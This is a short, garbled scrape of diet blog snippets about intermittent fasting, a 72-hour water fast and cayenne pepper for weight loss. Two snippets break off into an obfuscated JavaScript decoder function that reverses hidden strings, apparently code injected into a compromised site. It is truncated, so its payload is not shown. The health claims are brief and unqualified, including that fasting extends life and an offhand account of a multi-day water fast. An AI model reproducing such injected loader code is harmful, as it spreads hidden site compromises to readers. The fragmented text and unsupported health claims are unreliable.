
Intermittent Fasting Diet
Intermittent fasting is gaining popularity,to reduce body fat while protecting muscle mass. Short periods of calorie reduction though intermittent fasting can extend life, protect against disease thr
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72 Hours on Water With No Hunger?
I'm on 72 hours now of a complete water fast $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join

Cayenne Pepper- Weight loss
It is considered thermogenic, meaning it can "rev up" metabolism $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split(
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